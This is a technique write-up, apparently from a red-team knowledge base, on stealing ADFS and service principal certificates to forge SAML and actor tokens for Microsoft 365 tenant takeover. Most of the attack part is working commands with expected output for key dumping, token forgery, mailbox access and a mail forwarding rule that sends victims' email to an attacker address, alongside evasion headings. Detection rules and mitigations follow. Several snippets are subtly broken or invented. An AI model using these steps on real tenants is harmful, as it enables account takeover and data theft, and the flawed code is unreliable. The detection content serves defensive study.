| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-006 |
| MITRE ATT&CK v18.1 | T1528 - Steal Application Access Tokens, T1606.002 - Forge Web Credentials (SAML) |
| Tactic | Credential Access, Privilege Escalation |
| Platforms | Entra ID, Hybrid Exchange, ADFS, Azure |
| Severity | Critical |
| CVE | CVE-2025-55241 (Actor Token Forgery), CVE-2021-42287 (Kerberos/S2S abuse) |
| Technique Status | ACTIVE |
| Last Verified | 2025-11-05 |
| Affected Versions | All ADFS versions, Entra ID (all versions), Hybrid Exchange 2013-2019+, Azure App Service |
| Patched In | N/A (design inherent to certificate-based authentication; mitigated via certificate rotation, access control, and detection) |
| Author | SERVTEP – Artur Pchelnikau |
Note: All section numbers have been dynamically renumbered based on applicability for this technique.
Concept: Service principal certificate theft is a high-impact credential access attack where an attacker steals or injects X.509 certificates used by service principals to authenticate to Azure, Microsoft 365, or federated identity providers. The attack exploits two primary scenarios: (1) ADFS Golden SAML - extracting the token signing certificate from on-premises Active Directory Federation Services to forge SAML assertions impersonating any user, and (2) Entra ID S2S Actor Token Forgery - obtaining or injecting certificates into service principals trusted for delegation (e.g., on-premises Exchange hybrid) to sign actor tokens that bypass cloud identity verification. Both attacks result in complete tenant compromise, Global Admin impersonation, and long-term persistence invisible to Entra ID logs.
Attack Surface: ADFS servers and their cryptographic material (certificates, DKM keys), service principal keyCredentials in Entra ID, hybrid Exchange/SharePoint certificates, certificate stores on domain-joined machines, and Entra ID CBA (Certificate-Based Authentication) configuration endpoints.
Business Impact: Complete global admin compromise without password or MFA interaction. Attackers can impersonate any user (including Global Admins), create backdoor accounts, access all M365 data (Exchange, Teams, SharePoint, OneDrive), provision malicious applications with indefinite permissions, and maintain persistence for months. Unlike password/token compromise, certificate-based attacks generate minimal audit logs (actor tokens are invisible to Entra ID), bypass Conditional Access policies, and remain effective even after password resets or MFA changes.
Technical Context: Certificate theft is extremely difficult to detect because forged SAML tokens appear cryptographically valid (signed with legitimate organizational certificate) and service-to-service tokens bypass interactive authentication entirely. Detection requires correlation across multiple systems (ADFS logs, Entra ID audit, M365 service logs) which most organizations lack. Reversibility is NONE—stolen certificates enable indefinite access until the certificate is explicitly revoked and replaced.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.1.5 | Protect privileged admin accounts from phishing and compromise |
| CIS Benchmark | 2.3.5 | Enforce MFA for all users (bypassed by cert-based auth) |
| CIS Benchmark | 5.1.1.1 | Require device compliance (CBA can bypass if not enforced) |
| DISA STIG | AC-2.2.3 | Service account credential management and rotation |
| NIST 800-53 | AC-3 | Access Enforcement - Certificate-based access controls |
| NIST 800-53 | IA-5 | Authentication Control - Certificate lifecycle management |
| NIST 800-53 | SC-7 | Boundary Protection - Federated identity service hardening |
| GDPR | Art. 32 | Security of Processing - Cryptographic controls for certificates |
| DORA | Art. 9 | Protection and Prevention - Authentication infrastructure |
| NIS2 | Art. 21 | Cyber Risk Management - Certificate rotation and monitoring |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights - Service principal control |
| ISO 27001 | A.10.1.1 | Cryptography - Certificate key management and protection |
| ISO 27005 | Risk Scenario | “Compromise of Cryptographic Key Material” and “Unauthorized Service Principal Access” |
Supported Versions:
Tools:
Objective: Discover service principals with certificates, ADFS presence, and certificate rotation policies.
# Check for service principals with certificates (potential targets)
Connect-MgGraph -Scopes "Application.Read.All"
Get-MgServicePrincipal -Filter "startsWith(displayName, 'Exchange')" |
Where-Object { $_.KeyCredentials.Count -gt 0 } |
Select-Object DisplayName, Id, @{
N="CertificateThumbprints"
E={$_.KeyCredentials.KeyId}
}, @{
N="CertificateExpiry"
E={$_.KeyCredentials.EndDateTime}
}
# Check for ADFS presence in tenant
$hybridConfig = Get-MgOrganization | Select-Object CompanyName
Write-Host "Checking for ADFS/Hybrid configuration..."
Get-MgDevice -Filter "trustType eq 'Hybrid Azure AD joined'" | Measure-Object
# Check CBA configuration
Get-MgPolicyCertificateBasedAuthConfiguration -ErrorAction SilentlyContinue |
Select-Object DisplayName, CertificateUserBindings
# Verify certificate rotation frequency
Get-MgServicePrincipal | ForEach-Object {
$sp = $_
$sp.KeyCredentials | Where-Object { $_.EndDateTime -gt (Get-Date).AddDays(-365) } |
Select-Object @{N="ServicePrincipal";E={$sp.DisplayName}}, EndDateTime
}
What to Look For:
Version Note: keyCredentials structure is consistent across all modern Entra ID versions; older hybrid configurations may use different cert storage mechanisms.
Supported Versions: All ADFS versions (Windows Server 2012-2019).
Objective: Obtain Local Admin or Domain Admin privileges on ADFS server to access certificate material.
Command (Lateral Movement via Kerberos Ticket):
# Once compromised user has access to ADFS server, elevate to ADFS service account
# Option 1: Use domain admin privileges to access ADFS service account
$adfsServiceAccount = Get-ADUser -Filter {SamAccountName -eq "ADFS_*"} | Select-Object -First 1
Write-Host "[+] ADFS Service Account: $($adfsServiceAccount.SamAccountName)"
# Option 2: Compromise ADFS server and access certificates directly
# (Requires RDP/WinRM access to ADFS server)
Expected Output:
[+] ADFS Service Account: ADFS_Service
[+] ADFS Server: adfs.company.com (192.168.1.100)
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Retrieve the X.509 certificate and private key used by ADFS to sign SAML tokens.
Command (Using ADFSDump):
# Download and execute ADFSDump on ADFS server
# ADFSDump requires local admin or SYSTEM access
python3 ADFSDump.py
# Output will show:
# - Token Signing Certificate (X.509)
# - Token Signing Key (Private Key)
# - Encryption Certificate
# - Distributed Key Management (DKM) key from AD
# Extract to PFX file for offline use
Alternative Command (Using AAD Internals on victim domain):
# If you have access to domain controller or any domain-joined machine
Import-Module AADInternals
# Export ADFS token signing certificate
$cert = Get-ADFSTokenSigningCertificate -ComputerName adfs.company.com
$cert | Export-PfxCertificate -FilePath "C:\temp\adfs_cert.pfx" -Password (ConvertTo-SecureString "Password123!" -AsPlainText -Force)
Write-Host "[+] Certificate exported to C:\temp\adfs_cert.pfx"
Alternative (Using Mimikatz - if ADFS certificate in registry):
# Run Mimikatz on ADFS server with SYSTEM privileges
mimikatz.exe
lsadump::sam // Extract SAM if local auth is possible
crypto::capi // List certificates in system store
crypto::certificates /export // Export certificates
Expected Output:
[+] ADFS Token Signing Certificate exported
[+] Subject: CN=ADFS Signing - [company]-[GUID]
[+] Thumbprint: A1B2C3D4E5F6G7H8I9J0K1L2M3N4O5P6
[+] Private Key: -----BEGIN PRIVATE KEY-----
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Create a valid, cryptographically-signed SAML assertion impersonating a user (e.g., Global Admin).
Command (Using AAD Internals):
# Import stolen ADFS certificate
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 `
-ArgumentList "C:\temp\adfs_cert.pfx", "Password123!"
# Create forged SAML token for Global Admin
$targetUser = "admin@company.onmicrosoft.com"
$targetUserSid = "S-1-5-21-3623811015-3361044348-30300820-1013"
# Create SAML assertion with admin claims
$samlToken = New-SAMLToken -Certificate $cert `
-User $targetUser `
-Issuer "http://adfs.company.com/adfs/services/trust" `
-Audience "https://login.microsoftonline.com/company.onmicrosoft.com/federationmetadata/2007-06/federationmetadata.xml" `
-NameIDFormat "urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress" `
-ImmutableID "user@company.com" `
-Groups @("admin@company.com", "global_admin") `
-ValidDays 1
Write-Host "[+] Forged SAML token created for $targetUser"
Write-Host $samlToken
Alternative (Using ADFSpoof):
# Forge SAML assertion with stolen certificate
python3 adfs_spoof.py \
--certificate /tmp/adfs_cert.pfx \
--password "Password123!" \
--user admin@company.onmicrosoft.com \
--issuer "http://adfs.company.com/adfs/services/trust" \
--output /tmp/saml_token.xml
echo "[+] SAML token written to /tmp/saml_token.xml"
Expected Output:
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response IssueInstant="2025-01-08T04:30:00Z" Destination="https://login.microsoftonline.com/login.srf?samlResponse=...">
<Assertion Issuer="http://adfs.company.com/adfs/services/trust">
<Subject>
<NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@company.com</NameID>
</Subject>
<Signature>
<SignatureValue>A1B2C3D4E5F6G7H8I9J0K1L2M3N4O5P6...</SignatureValue>
</Signature>
</Assertion>
</samlp:Response>
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Use forged SAML token to authenticate to Office 365 as the impersonated user.
Command (Using browser or API):
<!-- Method 1: Browser-based SAML authentication -->
<html>
<head>
<title>ADFS Login</title>
</head>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://login.microsoftonline.com/login.srf">
<input type="hidden" name="SAMLResponse" value="BASE64_ENCODED_SAML_RESPONSE_HERE" />
<input type="hidden" name="RelayState" value="" />
</form>
</body>
</html>
Command (Using PowerShell):
# Replay SAML token to get O365 tokens
$samlResponse = "BASE64_ENCODED_SAML_TOKEN_FROM_PREVIOUS_STEP"
$relayState = ""
# POST SAML token to Office 365
$response = Invoke-WebRequest -Uri "https://login.microsoftonline.com/login.srf" `
-Method POST `
-Body @{
"SAMLResponse" = $samlResponse
"RelayState" = $relayState
} `
-SessionVariable "session"
# Extract Office 365 session cookies from response
$o365Token = $session.Cookies | Where-Object { $_.Name -eq "access_token" }
Write-Host "[+] Office 365 token obtained"
Write-Host "[+] Authenticated as: admin@company.com"
# Use token to access Exchange Online
$headers = @{
"Authorization" = "Bearer $o365Token"
}
$mailboxes = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users" `
-Headers $headers
Write-Host "[+] Enumerated $($ mailboxes.value.Count) user mailboxes"
Expected Output:
[+] Office 365 token obtained
[+] Authenticated as: admin@company.com
[+] Enumerated 245 user mailboxes
[+] Full access to Exchange Online, SharePoint, Teams, OneDrive
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: Hybrid Exchange (2013-2019+) with on-premises servers.
Objective: Obtain credentials or certificates of service account running Exchange Hybrid trust.
Command (Domain Enum):
# Find Exchange Hybrid service accounts in AD
Get-ADServiceAccount -Filter {Name -like "*Exchange*Hybrid*" -or Name -like "*ExOnline*"} |
Select-Object Name, Enabled, LastLogonDate
# Check for Exchange Server certificates in trusted stores
Get-ChildItem "HKLM:\Software\Microsoft\Exchange" -Recurse |
Where-Object { $_.ValueCount -gt 0 } |
Select-Object PSPath, PSChildName
Expected Output:
Name: exch-hybrid-sync
Enabled: True
LastLogonDate: 2025-01-06
[+] Found Exchange Hybrid service account
What This Means:
OpSec & Evasion:
Objective: Extract the certificate and private key used for S2S authentication.
Command (Using Mimikatz from service account context):
# Run Mimikatz as Exchange Hybrid service account
# First, impersonate service account
runas /user:DOMAIN\exch-hybrid-sync cmd.exe
# Then run Mimikatz
mimikatz.exe
crypto::capi
crypto::certificates /export /path:"HKLM:\Software\Microsoft\Exchange"
Alternative (Using PowerShell to export from cert store):
# Export Exchange Hybrid certificate from cert store
$cert = Get-ChildItem "Cert:\LocalMachine\My" |
Where-Object { $_.Subject -like "*ExchangeHybrid*" -or $_.Subject -like "*ExOnline*" } |
Select-Object -First 1
if ($cert) {
# Export PFX
$cert | Export-PfxCertificate -FilePath "C:\temp\exchange_hybrid_cert.pfx" `
-Password (ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force)
Write-Host "[+] Exchange Hybrid certificate exported to C:\temp\exchange_hybrid_cert.pfx"
} else {
Write-Host "[-] No Exchange Hybrid certificate found in cert store"
}
Expected Output:
[+] Exchange Hybrid certificate exported to C:\temp\exchange_hybrid_cert.pfx
[+] Certificate Subject: CN=ExchangeHybrid-GUID
[+] Thumbprint: D4E5F6G7H8I9J0K1L2M3N4O5P6Q7R8S9
[+] Valid Until: 2027-01-08
What This Means:
OpSec & Evasion:
Objective: Generate a valid actor token signed with Exchange Hybrid certificate to impersonate a user.
Command (Using ROADtools):
# Import ROADtools module
Import-Module .\roadtools\roadtools.psd1
# Load stolen Exchange Hybrid certificate
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 `
-ArgumentList "C:\temp\exchange_hybrid_cert.pfx", "P@ssw0rd123"
# Create actor token for Global Admin
$actorToken = New-ActorToken `
-Certificate $cert `
-IssueTime (Get-Date) `
-ExpiryTime (Get-Date).AddHours(24) `
-Issuer "https://outlook.office365.com" `
-ActorId "f5c3b5c1-d3b1-4f6e-8f8b-4c9e5f6g7h8i" ` # Exchange Online service principal
-TargetUser "admin@company.onmicrosoft.com"
Write-Host "[+] Actor token forged: $actorToken"
Write-Host "[+] Token valid for: 24 hours"
Write-Host "[+] Can impersonate: admin@company.onmicrosoft.com"
Expected Output:
[+] Actor token forged: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkQ0RTVGNkcyN...
[+] Token valid for: 24 hours
[+] Can impersonate: admin@company.onmicrosoft.com
[+] Token is signed with: Exchange Hybrid certificate
[+] No MFA required
[+] Bypasses Conditional Access
What This Means:
OpSec & Evasion:
Objective: Leverage forged actor token to access mailboxes and other M365 resources.
Command:
# Use actor token with Graph API
$headers = @{
"Authorization" = "Bearer $actorToken"
"Content-Type" = "application/json"
}
# Example: Access another user's mailbox
$targetUser = "user@company.onmicrosoft.com"
$mailboxUrl = "https://graph.microsoft.com/v1.0/users/$targetUser/mailFolders/Inbox/messages"
$messages = Invoke-RestMethod -Uri $mailboxUrl -Headers $headers
Write-Host "[+] Accessed mailbox for $targetUser"
Write-Host "[+] Found $($messages.value.Count) messages"
# Example: Extract sensitive emails
$sensitiveEmails = $messages.value | Where-Object { $_.Subject -like "*password*" -or $_.Subject -like "*credential*" }
Write-Host "[+] Found $($sensitiveEmails.Count) emails with sensitive keywords"
# Example: Create forwarding rule (persistence)
$forwardRule = @{
"displayName" = "Archive"
"enabled" = $true
"conditions" = @{
"senderAddressLocation" = "outOfOrganization"
}
"actions" = @{
"forwardAsAttachmentTo" = @(@{
"emailAddress" = @{
"name" = "Attacker"
"address" = "attacker@external.com"
}
})
}
} | ConvertTo-Json
$ruleUrl = "https://graph.microsoft.com/v1.0/users/$targetUser/mailFolders/Inbox/messageRules"
Invoke-RestMethod -Uri $ruleUrl -Headers $headers -Method POST -Body $forwardRule
Write-Host "[+] Mail forwarding rule created - all incoming emails will be forwarded to attacker@external.com"
Expected Output:
[+] Accessed mailbox for user@company.onmicrosoft.com
[+] Found 234 messages
[+] Found 12 emails with sensitive keywords
[+] Mail forwarding rule created - persistence established
[+] Token valid for: 23 hours 45 minutes
[+] No Conditional Access alerts or MFA required
What This Means:
OpSec & Evasion:
Troubleshooting:
PoC Verification Command:
# Test 1: Verify ADFS certificates are extractable
$cert = Get-ChildItem "Cert:\LocalMachine\My" | Where-Object { $_.Subject -like "*ADFS*" }
if ($cert) {
Write-Host "[+] ADFS certificate found and accessible"
} else {
Write-Host "[-] ADFS certificate not accessible"
}
# Test 2: Verify certificate signing capability
try {
$cert.PrivateKey.SignData([byte[]]@(1,2,3), [System.Security.Cryptography.HashAlgorithmName]::SHA256)
Write-Host "[+] Certificate can sign data - Golden SAML is possible"
} catch {
Write-Host "[-] Certificate signing failed: $_"
}
# Test 3: Verify SAML token generation
# (Requires AAD Internals or similar)
Rule Configuration:
SPL Query:
index=windows EventCode=1007 host=*adfs*
| stats count, values(Subject), values(ObjectName), values(Computer) by host
| search count > 0
| rename host as adfs_server, Subject as certificate_subject, ObjectName as export_path
What This Detects:
Rule Configuration:
SPL Query:
index=azure_activity ActivityDisplayName="Add keyCredentials" OR ActivityDisplayName="Update application – Certificates and secrets"
| stats count, values(TargetResources), values(InitiatedBy.User.UserPrincipalName) by ActivityDateTime
| where count > 0
| search TargetResources{}.displayName="*Exchange*" OR TargetResources{}.displayName="*Hybrid*"
What This Detects:
Rule Configuration:
KQL Query:
let adfsIssuers = dynamic(["http://adfs.company.com/adfs/services/trust", "urn:federation:microsoftonline"]);
SigninLogs
| where IssuerName in (adfsIssuers)
| where ResultType == 0 // Successful login
| join kind=leftanti (
AuditLogs
| where OperationName == "ADFS Sign-in Event"
| where ActivityDateTime > ago(5m)
| distinct CorrelationId
) on CorrelationId
| project
TimeGenerated,
UserPrincipalName,
IssuerName,
CorrelationId,
SessionId,
IPAddress,
RiskReason="No matching ADFS server log for SAML authentication - possible forged token"
What This Detects:
Rule Configuration:
KQL Query:
// Detect S2S actor token usage from non-interactive service principals
SigninLogs
| where ServicePrincipalId != ""
| where CreatedDateTime > ago(1h)
| where IssuerName contains "https://sts.windows.net"
| join kind=inner (
MicrosoftGraphActivityLogs
| where ApiVersion == "v1.0"
| where RequestUri contains "/users/" or RequestUri contains "/mailFolders"
| where UserAgent != "Microsoft.Graph.Client/*" // Non-SDK access
) on ServicePrincipalId
| project
TimeGenerated,
ServicePrincipalDisplayName,
IssuerName,
CorrelationId,
ApiCall=RequestUri,
TargetResource,
RiskIndicator="S2S token used for user mailbox access"
What This Detects:
Event ID: 1007 (Certificate Export Request)
Event ID: 4662 (Object Access)
Manual Configuration Steps:
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enableMinimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2012-2019 (ADFS servers).
<Sysmon schemaversion="4.1">
<EventFiltering>
<!-- Detect certificate export tools on ADFS servers -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains any">
Export-PfxCertificate
certutil -exportPFX
ADFSDump
Mimikatz
</CommandLine>
</ProcessCreate>
<!-- Detect access to ADFS certificate stores -->
<RegistryEvent onmatch="include">
<TargetObject condition="contains">
HKLM\Software\Microsoft\ADFS
HKLM\Software\Microsoft\Exchange\Hybrid
</TargetObject>
</RegistryEvent>
</EventFiltering>
</Sysmon>
Alert Name: “Suspicious certificate added to service principal”
Alert Name: “Golden SAML token detected”
# Search for suspicious SAML and certificate operations
Search-UnifiedAuditLog -Operations "Add application","Update application","Consent to application" `
-StartDate (Get-Date).AddDays(-7) `
-FreeText "certificate" |
Select-Object UserIds, Operations, CreationDate, AuditData |
Export-Csv -Path "C:\certs_audit.csv"
1. Implement Certificate Rotation Policy (Short Lifetime)
Certificates with short lifetimes limit persistence window of stolen certs.
Manual Steps:
Get-AdfsProperties | Select-Object -Property CertificatePromotionThresholdDays
Set-AdfsProperties -CertificatePromotionThresholdDays 90
Connect-MgGraph -Scopes "Application.ReadWrite.All"
Get-MgServicePrincipal | ForEach-Object {
$sp = $_
$sp.KeyCredentials | Where-Object { $_.EndDateTime -gt (Get-Date).AddYears(2) } |
ForEach-Object {
Write-Host "WARNING: Certificate for $($sp.DisplayName) expires in $((New-TimeSpan -Start (Get-Date) -End $_.EndDateTime).Days) days"
}
}
# On Exchange Hybrid server
New-ExchangeCertificate -FriendlyName "Exchange Hybrid $(Get-Date -Format 'yyyy-MM-dd')" `
-DomainName company.com
Enable-ExchangeCertificate -Server $env:COMPUTERNAME `
-Thumbprint "THUMBPRINT_OF_NEW_CERT" `
-Confirm:$false
2. Move Away from ADFS to Native Entra ID Authentication
ADFS is a legacy attack surface; native cloud authentication is more secure.
Manual Steps:
3. Restrict Service Principal keyCredentials Addition
Prevent unauthorized certificate injection into service principals.
Manual Steps:
PowerShell:
# Audit all service principals with certificates
Get-MgServicePrincipal -Filter "startsWith(displayName, 'Exchange') or startsWith(displayName, 'Hybrid')" |
ForEach-Object {
if ($_.KeyCredentials.Count -gt 0) {
Write-Host "WARNING: $($_.DisplayName) has $($_.KeyCredentials.Count) certificates"
Write-Host "Owner(s): $((Get-MgServicePrincipalOwner -ServicePrincipalId $_.Id).UserPrincipalName -join ', ')"
}
}
4. Implement Actor Token Detection & Response Automation
Detect and block suspicious S2S actor token usage in real-time.
Manual Steps:
PowerShell Automation:
# Automated response to actor token abuse
$suspiciousSPs = Get-MgServicePrincipal -Filter "startsWith(displayName, 'Exchange')" |
Where-Object { $_.KeyCredentials.Count -gt 3 } // Unusual number of certs
$suspiciousSPs | ForEach-Object {
Write-Host "CRITICAL: Service principal $($_.DisplayName) has suspicious credentials"
# Disable the service principal
Update-MgServicePrincipal -ServicePrincipalId $_.Id -AccountEnabled $false
# Remove all certificates
Remove-MgServicePrincipalKeyCredential -ServicePrincipalId $_.Id -KeyId ($_.KeyCredentials.KeyId)
}
5. Enable Certificate-Based Authentication with Device Binding
CBA adds phishing-resistant authentication but must include device compliance.
Manual Steps:
6. Monitor & Alert on keyCredentials Changes
Every certificate addition should trigger investigation.
Detection Query (Sentinel):
AuditLogs
| where OperationName == "Add keyCredentials" or OperationName == "Update application – Certificates and secrets"
| where TargetResources[0].displayName in ("Exchange", "Hybrid", "Sync")
| project
TimeGenerated,
OperationName,
TargetResource=TargetResources[0].displayName,
InitiatedBy=InitiatedBy.User.UserPrincipalName
| notify_operator() // Send alert to SOC
ADFS Certificate Export:
certutil.exe -exportPFX in command line logs (Event ID 4688)Export-PfxCertificate in PowerShell logs (Event ID 4103/4104)Forged SAML/Actor Tokens:
Service Principal Compromise:
ADFS Server:
Entra ID:
Exchange Online:
# Revoke ADFS signing certificate
Set-AdfsRelyingPartyTrust -TargetName "Microsoft Office 365 Identity Platform" `
-MetadataURL "https://nexus.microsoftonline.com/federationmetadata/saml20/federationmetadata.xml" `
-SigningCertificateNeedsUpdated:$true
Update-MgServicePrincipal -ServicePrincipalId "SERVICE_PRINCIPAL_ID" -AccountEnabled $false
# No direct revocation; must revoke underlying certificate
Revoke-MgServicePrincipalKeyCredential -ServicePrincipalId "SERVICE_PRINCIPAL_ID" `
-KeyId "CERTIFICATE_KEY_ID"
# Revoke all refresh tokens for all users (nuclear option)
Get-MgUser | ForEach-Object {
Revoke-MgUserSignInSession -UserId $_.Id
}
# Search for suspicious mailbox access
Search-UnifiedAuditLog -Operations "MailItemsAccessed" `
-StartDate (Get-Date).AddDays(-30) `
-FreeText "service account" |
Select-Object UserIds, AuditData | Export-Csv investigation.csv
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [PE-VALID-001] Exchange Server ACL Abuse | Attacker gains initial compromised on-prem server |
| 2 | Credential Access | [CA-TOKEN-006] | Service Principal Certificate Theft (this technique) |
| 3 | Lateral Movement | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker creates new admin account using stolen cert |
| 4 | Impact | [CA-UNSC-003] SYSVOL GPP Credential Extraction | Attacker accesses all M365 data |
| 5 | Persistence | [PE-ACCTMGMT-001] App Registration Permissions Escalation | Attacker registers persistent OAuth app |